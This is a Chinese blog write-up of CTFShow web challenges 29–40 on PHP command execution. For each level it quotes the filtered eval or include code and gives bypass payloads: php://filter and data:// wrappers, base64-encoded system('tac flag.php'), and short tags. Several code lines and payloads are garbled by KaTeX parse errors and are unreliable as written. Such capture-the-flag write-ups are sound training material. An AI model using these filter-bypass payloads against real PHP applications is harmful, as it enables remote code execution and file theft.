CTFShow-WEB入门篇命令执行详细Wp(29-40)_ctfshow-web入门篇详细wp

于 2024-05-12 22:41:17 发布
阅读量958 收藏 10
点赞数 23
分类专栏： 程序员 文章标签： 网络安全 学习 面试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84281698/article/details/138770689
版权

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

在这里插入图片描述

因篇幅有限，仅展示部分资料

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

highlight\_file(\_\_FILE\_\_);

}


**这里又过滤了反斜杠，`echo`，分号，括号 这里可以使用`include`函数可以不用括号 实现文件包含 配合伪协议 分号可以使用`>?` 代替**


**PS：我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的**

php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php


![在这里插入图片描述](https://img-blog.csdnimg.cn/f2f7f14a677b4e92bab3d44a8f7f395b.png)



> 
> `ctfshow{22eca81d-7663-4150-bc72-57825852ad03}`
> 
> 
> 


### web33：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|”/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ eval(c);
}

}else{
highlight_file(__FILE__);
}


**过滤 了双引号 这里还是和上面那题一样的`Payload`就可以没啥新的知识点！**

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php


![在这里插入图片描述](https://img-blog.csdnimg.cn/4d731aec65f34c8c8b6b9ded5ab8e8dc.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/b85a27b8091d48778df8ad4ffcce83bc.png)



> 
> `ctfshow{34945d8a-89fa-48b8-919a-883dc71f740c}`
> 
> 
> 


### web34：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ eval(c);
}

}else{
highlight_file(__FILE__);
}


**这里多了冒号好像，这里也是一样的`Payload`，但是我们这里用别的伪协议`data://`进行测试**

?c=include%0aKaTeX parse error: Expected 'EOF', got '&' at position 12: _GET[cmd]?>&̲cmd=php://filte…_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>


![在这里插入图片描述](https://img-blog.csdnimg.cn/3cf1c209d529426abd96e08073d3fac8.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/85cb04b7e1e048128135a28df3337ff1.png)



> 
> `ctfshow{1378052e-d82c-446b-9e8d-5c1249ec1001}`
> 
> 
> 


### web35：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ eval(c);
}

}else{
highlight_file(__FILE__);
}


**过滤了，`=`号和`<`括号这里可以使用`data`的`base64` 把要执行的命令加密了传进去`<?php system("cat flag.php");?>`**

?c=include%0aKaTeX parse error: Expected 'EOF', got '&' at position 13: \_GET[cmd]?>&̲cmd=php://filte…_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用


![在这里插入图片描述](https://img-blog.csdnimg.cn/4fd91896be8641b2b1864ab5b9e06578.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/12582839299649219581ab097630025e.png)


![在这里插入图片描述](https://img-blog.csdnimg.cn/6cf5cfa136af4351ad0b43663b26162a.png)



> 
> `ctfshow{2529c316-96d3-442b-9642-2135d3cb9904}`
> 
> 
> 


### web36：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|”|<|=|/|[0-9]/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ eval(c);
}

}else{
highlight_file(__FILE__);
}


**这里过滤了数字`0-9` 还是可以使用上面的`PayLoad`只要传参的不是数字就行**

?c=include%0aKaTeX parse error: Expected 'EOF', got '&' at position 12: _GET[cmd]?>&̲cmd=php://filte…_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>


![在这里插入图片描述](https://img-blog.csdnimg.cn/4720294f8d8e476895be817c9563f368.png)



> 
> `ctfshow{ece6bc01-4a5c-4d30-b638-c8e77800d3f5}`
> 
> 
> 


### web37：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag/i”, KaTeX parse error: Expected '}', got 'EOF' at end of input: … include(c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}


**这里过滤了`flag` 有文件包含了 可以使用伪协议**

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f\*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==


![在这里插入图片描述](https://img-blog.csdnimg.cn/0d72c1814f664032a8857ed60eae8c98.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/74af52429ce74f738da3919758052fbe.png)



> 
> `ctfshow{472ace50-bae6-472b-b9a3-1c9631a2c34d}`
> 
> 
> 


### web38：

//flag in flag.php
error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag|php|file/i”, KaTeX parse error: Expected '}', got 'EOF' at end of input: … include(c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}


**这里过滤了`php`和`file` 所以可以使用短标签`‘<?=’`是PHP的一个短的开放式标签**

?c=data://text/palin,<?php system("tac f\*");?> #（使用不了用第二个我只是进行对比）这里php被过滤了使用不了可以改为短标签
?c=data://text/palin,<?=system("tac f\*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==


![在这里插入图片描述](https://img-blog.csdnimg.cn/09132f2f0e034c00acf6d59f88f80352.png)



> 
> `ctfshow{42276d5b-2bb2-419a-9eba-7d93704753dd}`
> 
> 
> 


### web39：

error_reporting(0);
if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/flag/i”, KaTeX parse error: Expected '}', got 'EOF' at end of input: … include(c.“.php”);
}

}else{
highlight_file(__FILE__);
}

?c=data://text/palin,<?=system("tac f\*");?>
?c=data://text/palin,<?php system("tac f\*");?>


![在这里插入图片描述](https://img-blog.csdnimg.cn/53967fdcce9c4cd18ef7b1b05f713ac1.png)



> 
> `ctfshow{831f530f-d4d3-4ae5-91e7-1e8093d194e8}`
> 
> 
> 


### web40：

if(isset($_GET[‘c’])){
$c = $_GET[‘c’];
if(!preg_match(“/[0-9]|~|`|@|#|\$|%|^|&|\*|\（|\）|-|=|+|{|[|]|}|:|'|”|,|<|.|>|/|?|\\/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ eval(c);
}

}else{
highlight_file(__FILE__);
}


**过滤了很多字符 有大写得括号 这里得考点是：无参数文件读取**



### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供：


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限，仅展示部分资料

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
2401_84281698
关注
  • 23
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CTFshow 命令执行 web40
Kradress的博客
10-30 1683
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c'];
CTFSHOW web入门——web40
m0_74093152的博客
04-24 547
并且这道题使用到了eval函数（返回传入字符的表达式的结果。即将字符串当成有效的表达式，进行运算、求值并返回结果。构造payload：?过滤了一堆符号，但过滤的括号是中文的括号，所以还是可以正常使用英文括号的。并post参数：b=system(''tac flag.php)可以使用套娃去获得flag.php文件的内容。
ctfshow-web40(命令执行)
m0_62094846的博客
01-22 6101
current() prev() next() reset() end() <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer....
2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag
最新发布
2401_84252281的博客
04-26 735
任务环境说明：服务器场景：Server1。
ctf.show_web40(命令执行)
高高同学
03-01 706
web40无参数RCE绕过 源码 <?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highligh
ctfshow-VIP题目-Web-详细解题思路
01-27
本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制泄露、vim临时文件泄露、cookie泄露、...
ctfshow-web41~60-WP
02-21
ctfshow-web41~60-WPctfshow-web41~60-WP
web-product-dark_WordPress_wp_
10-03
【标题】"web-product-dark_WordPress_wp_" 指的是一款专门为RevoSlider设计的WordPress主题，名为"web-product-dark"。RevoSlider是一个流行的WordPress滑块插件，用于创建吸引人的动态内容展示，如产品滑块、图像...
Learn-wp-cli：命令行，WP-CLI和自定义WP-CLI命令入门
02-05
**WP-CLI（WordPress Command Line Interface）是WordPress开发和管理中的一个强大工具，它允许用户通过命令行界面执行各种操作，而无需通过图形用户界面。本教程将带你深入理解WP-CLI，包括如何安装、使用基础命令...
wp-rocket_3.8.3_wp-rocket_
09-29
Wp-Rocket 3.8.3 Nulled
[ctfshow]web入门——命令执行（web40-web53）
ShenZ的博客
11-29 1172
文章目录web40 web40 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $
CTFshow 命令执行 web29-web40
m0_73121489的博客
06-25 258
过滤了反引号、左括号和分号，passthru、printf和echo都用不了，取反绕过也不行，多过滤了php和file，PHP伪协议用不了，只能用data协议。BP抓包，用HackBar传参之后没有内容回显。这题解法也差不多，数字换成字母就可以了。过滤了system，php，flag。涉及到一点文件包含，只过滤了flag。然后在源码里就可以看到flag。base64解码即得flag。法一：php://input。很简单，就过滤了flag。新姿势：嵌套文件包含。和web32一个解法。和web32一个解法。
CTFShow-WEB入门篇命令执行详细Wp(29-40)
Aluxian_的博客
06-10 2512
【代码】CTFShow-WEB入门篇--命令执行详细Wp。
ctfshow 命令执行（40-50）
2202_75317918的博客
10-03 401
题目过滤了很多这题的考点是无参数RCE参考无参数的意思可以是a()、a(b())或a(b(c()))，但不能是a('b')或a('b','c')，可以用来查看当前目录所有文件名接下来需要将括号中的替代掉函数返回一包含本地数字及货币格式信息的数组例如[int_frac_digits] => 127 用于指示小数部分的最大位数 其他同理那么我们可利用函数返回数组中的第一个小数点代替读取目录函数中的参数那么如何将数组中的第一个元素读取出来呢？
CTFshow web入门 web28~web40 命令执行
qq_56815564的博客
04-12 488
这里可以使用的是data伪协议 data://text/plain，这个相当于执行了php语句，后面跟上的 “.php” 因为前面的php语句已经闭合了，所以后面跟上的 “.php” 会被当成html页面直接显示在页面上，起不到什么作用。很明显，flag应该就在flag.php里，但不能直接访问flag.php 因为不能直接输入字符flag，被过滤了。而filter协议和php://input如果要传的话，必须出现具体的文件名，而flag被过滤了，所以不能用。另外这里的eval($c);
ctfshow web40（命令执行）
m0_69289738的博客
09-05 72
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())localeconv()：返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."pos():输出数组第一个元素，不改变指针；current() 函数返回数组中的当前元素（单元）,默认取第一个值，和pos()一样。
CTFshow_web入门_命令执行_web29~54
ScyLamb的博客
02-07 1666
0x00 web29 if(!preg_match("/flag/i", $c)){ 只过滤flag【不区分大小写】 ?c=system('ls'); ?c=system('cat `ls`'); 预期解：echo `nl fl''ag.php`; 0x01 web30 if(!preg_match("/flag|system|php/i", $c)){ 过滤了文件名、一个系统命令执行函数、php【不区分大小写】 ?c=passthru('ls'); ?c=passthru("nl fl''ag.
ctfshow web40-web60系统命令执行 wp
qq_56158055的博客
01-13 453
事先声明，本文只用来学习交流，不参与以任何商业形式的活动。本文不会出现flag。 web40 源码 发现过滤了所有数字，以及大部分的字符，但仔细观察可以发现，括号是中文的括号，因此我们可以利用这点，来进行无参RCE 可以利用p神的无参数RCE来做，利用localeconv()函数来做，也可以用异或和取反来做。 我这边用的是get_defined_vars()函数。 get_defined_vars()：返回由所有已定义变量所组成的数组 因此我们可以 发现一堆乱七八糟的 利用
ctfshow-__萌新隐写
09-14
根据引用中提到的内容，CTFShow "萌心区"WP详解（上）涉及了一些关于萌新认证的内容，其中包括了密码、隐写和杂项等方面的题目。而引用中提到，下载的文件是一个word文件，里面包含了一张图，并且提示说找到了FLAG。...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值